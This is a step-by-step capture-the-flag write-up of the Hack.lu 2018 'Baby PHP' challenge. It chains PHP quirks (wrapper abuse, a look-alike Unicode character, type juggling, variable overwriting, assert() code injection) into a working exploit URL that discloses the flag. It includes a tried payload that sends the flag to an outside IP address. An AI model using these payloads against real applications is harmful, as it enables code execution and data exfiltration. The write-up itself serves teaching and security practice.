Hack.lu CTF 2018 - Full step by step Write-up

Information#

CTF#

Baby PHP - Web#

PHP is a popular general-purpose scripting language that is especially suited to web development.

Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.

Can you untangle this mess?!

Here is the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
 <?php

require_once('flag.php');
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

step 0: setting a debug app#

I hosted a debug app locally to try the various payloads during the whole challenge:

1
2
3
4
5
$ php -S 127.0.0.1:8080
PHP 7.2.10 Development Server started at Tue Oct 16 23:20:26 2018
Listening on http://127.0.0.1:8080
Document root is /home/noraj/CTF/Hack.lu/2018
Press Ctrl-C to quit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php

//require_once('flag.php');
$flag="wooooooooooooooooooooooo";
error_reporting(0);


if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "msg bypassed\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

echo "k1 bypassed\n";

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
echo "k2 ok, cc ready\n";
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
echo "sha1 bypassed\n";
//var_dump($_GET);
foreach ($_GET as $lel => $hack){
$$lel = $hack;
//var_dump($lel);
//var_dump(${$lel});
}
}

//var_dump([$msg,$key1,$key2,$cc]);

$‮b = "2";$a="‮b";//;1=b

//var_dump(${$a});

if($$a !== $k1){
die("lel no\n");
}

echo "\$\$a bypassed\n";

// plz die now
assert_options(ASSERT_BAIL, 1);
var_dump("$bb == $cc");
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

step 1: file_get_contents#

First die() to bypass:

1
2
3
4
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

Let's see the behavior of file_get_contents (PHP manual). It can make http requests if the string is evaluated to an URL.

1
2
3
4
php > var_dump(file_get_contents('http://myserver/babyphp'));
string(16) "Hello Challenge!"
php > var_dump(file_get_contents('http://myserver/babyphp')==="Hello Challenge!");
bool(true)

So I tried a RFI attack https://arcade.fluxfingers.net:1819/?msg=http://myserver/babyphp but my remote server is never hit, so remote connections must not be allowed.

So we will use a PHP wrapper.

php://input works but won't be very handy for the next steps of the challenge.

1
2
3
$ curl -X POST 'https://arcade.fluxfingers.net:1819/?msg=php://input' --data 'Hello Challenge!'
Hello Hacker! Have a look around.
lol no

We can avoid to use php://input by using data://.

1
2
php > var_dump(file_get_contents('data://text/plain,Hello Challenge!'));
string(16) "Hello Challenge!"

https://arcade.fluxfingers.net:1819/?msg=data://text/plain,Hello%20Challenge!

step 2: value and type#

1
2
3
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

We need $k1 and $cc of different types but with the same value.

1
2
3
4
php > $cc=1337;
php > $k1='1337';
php > var_dump(intval($k1) !== $cc || $k1 === $cc);
bool(false)

step 3: unicode character and type juggling#

Now we need to enter this condition to be able to set/override cc.

1
2
3
4
5
6
7
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

First we need to know that strlen will return the number of bytes not the number of characters.

http://php.net/manual/en/function.strlen.php

strlen() returns the number of bytes rather than the number of characters in a string.

You saw this like me? Needing a payload with only numeric chars but not evaluated as a numeric? Impossible ... unless this end of the line dollar sign $ is not a dollar sign but an unicode char that looks like it.

'/^\d+$/' is not '/^\d+$/' (copy/paste it and open it with an hex editor if you need to be sure). This is not a true $ but \xEF\xBC\x84. So we only need a payload that begin with numeric chars but the containing whatever we want and then ending with this unicode char.

1
2
3
4
5
6
7
php > $k2='123456789012345678901234567890123456789$';
php > var_dump(strlen($k2) == $bb);
bool(true)
php > var_dump(preg_match('/^\d+$/', $k2) && !is_numeric($k2));
bool(true)
php > var_dump($k2==$cc);
bool(false)

But we need it equal to 1337 and we can count on the weird PHP type juggling for that:

1
2
3
4
5
6
7
php > $k2='000000000000000000000000000000000001337$';
php > var_dump($k2);
string(42) "000000000000000000000000000000000001337$"
php > var_dump(preg_match('/^\d+$/', $k2) && !is_numeric($k2));
bool(true)
php > var_dump($k2==$cc);
bool(true)

Here is my payload so far on my debug app:

view-source:http://127.0.0.1:8080/test.php?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84

1
2
3
4
msg bypassed
k1 bypassed
k2 ok, cc ready
lel no

step 4: shuffling#

Let's see what is happening here:

1
list($k1,$k2) = [$k2, $k1];
1
2
3
4
5
6
7
8
9
10
11
php > var_dump(list($k1,$k2) = [$k2, $k1]);
array(2) {
[0]=>
string(42) "000000000000000000000000000000000001337$"
[1]=>
string(4) "1337"
}
php > var_dump($k1);
string(42) "000000000000000000000000000000000001337$"
php > var_dump($k2);
string(4) "1337"

They have been reverted.

step 5: pay attention to the return values#

1
2
3
4
5
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

A sha1 hash is 40 char long. So we need a payload like that to bypass substr($cc, $bb) === sha1($cc).

1
2
3
4
php > var_dump(strlen(sha1("a")));
int(40)
php > var_dump(substr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",42));
string(40) "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"

Looks hard to compute that, let's find another way. Here we have a strict comparison but we will abuse the return value of substr() and sha1() when handling arrays.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
php > var_dump(substr([], 42));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(sha1([]));
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
NULL
php > var_dump(substr([], 42) === sha1([]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)
php > var_dump(substr(["a"], 42) === sha1(["a"]));
PHP Warning: substr() expects parameter 1 to be string, array given in php shell code on line 1
PHP Warning: sha1() expects parameter 1 to be string, array given in php shell code on line 1
bool(true)

Here is the local payload so far:

view-source:http://127.0.0.1:8080/test.php?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=a

1
2
3
4
5
msg bypassed
k1 bypassed
k2 ok, cc ready
sha1 bypassed
lel no

step 6: RTLO char#

1
$‮b = "2";$a="‮b";//;1=b

Looks so weird, isn't it?

Again we will see that in hex:

1
2
00000000: 0a24 e280 ae62 203d 2022 3222 3b24 613d  .$...b = "2";$a=
00000010: 22e2 80ae 6222 3b2f 2f3b 313d 620a 0a0a "...b";//;1=b...

So this is not $b=1;//;"b"=a$;"2" = b as it looks like but $<202e>b = "2";$a="<202e>b";//;1=b.

This is using a RTLO char, I already wrote some stuff about it.

step 7: dynamic variables' mess#

1
2
3
if($$a !== $k1){
die("lel no\n");
}

If you are unfamiliar with the concept, I invite you to check the PHP manual about variable variable aka dynamic variable (http://php.net/manual/en/language.variables.variable.php).

To match $$a !== $k1, let's sum up what we saw in the previous step.

1
2
3
$k1 === "000000000000000000000000000000000001337$"
$a === "\xe2\x80\xaeb"
$$a === ${$a} === ${"\xe2\x80\xaeb"} === "2"

But before we had:

1
2
foreach ($_GET as $lel => $hack){
$$lel = $hack;

That will take all GET parameters and set the as variables and will allow us to override all variables or set new ones.

So we only need to set a new variable k1 and to add &k1=2 to the request.

The payload so far:

view-source:http://127.0.0.1:8080/test.php?msg=data://text/plain,Hello Challenge!&key1=1337&key2=000000000000000000000000000000000001337$&cc[a]=a&k1=2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msg bypassed
k1 bypassed
k2 ok, cc ready
sha1 bypassed
array(5) {
["msg"]=>
string(34) "data://text/plain,Hello Challenge!"
["key1"]=>
string(4) "1337"
["key2"]=>
string(42) "000000000000000000000000000000000001337$"
["cc"]=>
array(1) {
["a"]=>
string(1) "a"
}
["k1"]=>
string(1) "2"
}
string(1) "2"

step 8: assert#

1
2
3
4
5
6
7
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

We won't die here.

We just need to RTFM: http://php.net/manual/en/function.assert-options.php

assert_options — Set/get the various assert flags

ASSERT_BAIL => terminate execution on failed assertions if set to 1

Ok, why not. I'm not scared.

I first tried to fix something like that by sending ";echo($flag);"$cc.

1
assert("";echo($flag);"$cc" == $cc");

But that didn't work, so I kept RTFM.

Traditional assertions (PHP 5 and 7)#

If the assertion is given as a string it will be evaluated as PHP code by assert(). If you pass a boolean condition as assertion, this condition will not show up as parameter to the assertion function which you may have defined with assert_options(). The condition is converted to a string before calling that handler function, and the boolean FALSE is converted as the empty string.

In PHP 5 a string will be evaluated, not in PHP 7.

Then I tried this invalid payload:

1
file_get_contents('http://37.187.1.79:9999?$flag')");//

But I remembered that remote connections were disabled.

So I was forced to disclose the flag locally with:

1
highlight_file('flag.php');//

This will generate the following code:

1
assert("highlight_file('flag.php');// == $cc");

This won't be seen as a boolean comparison and the string will be evaluated AND this is a valid assertion so we don't care about ASSERT_BAIL.

Final payload, end of THE GAME:

https://arcade.fluxfingers.net:1819/?msg=data://text/plain,Hello%20Challenge!&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc[]=&k1=2&bb=highlight_file(%27flag.php%27);//

The flag was: flag{7c217708c5293a3264bb136ef1fadd6e}.

Share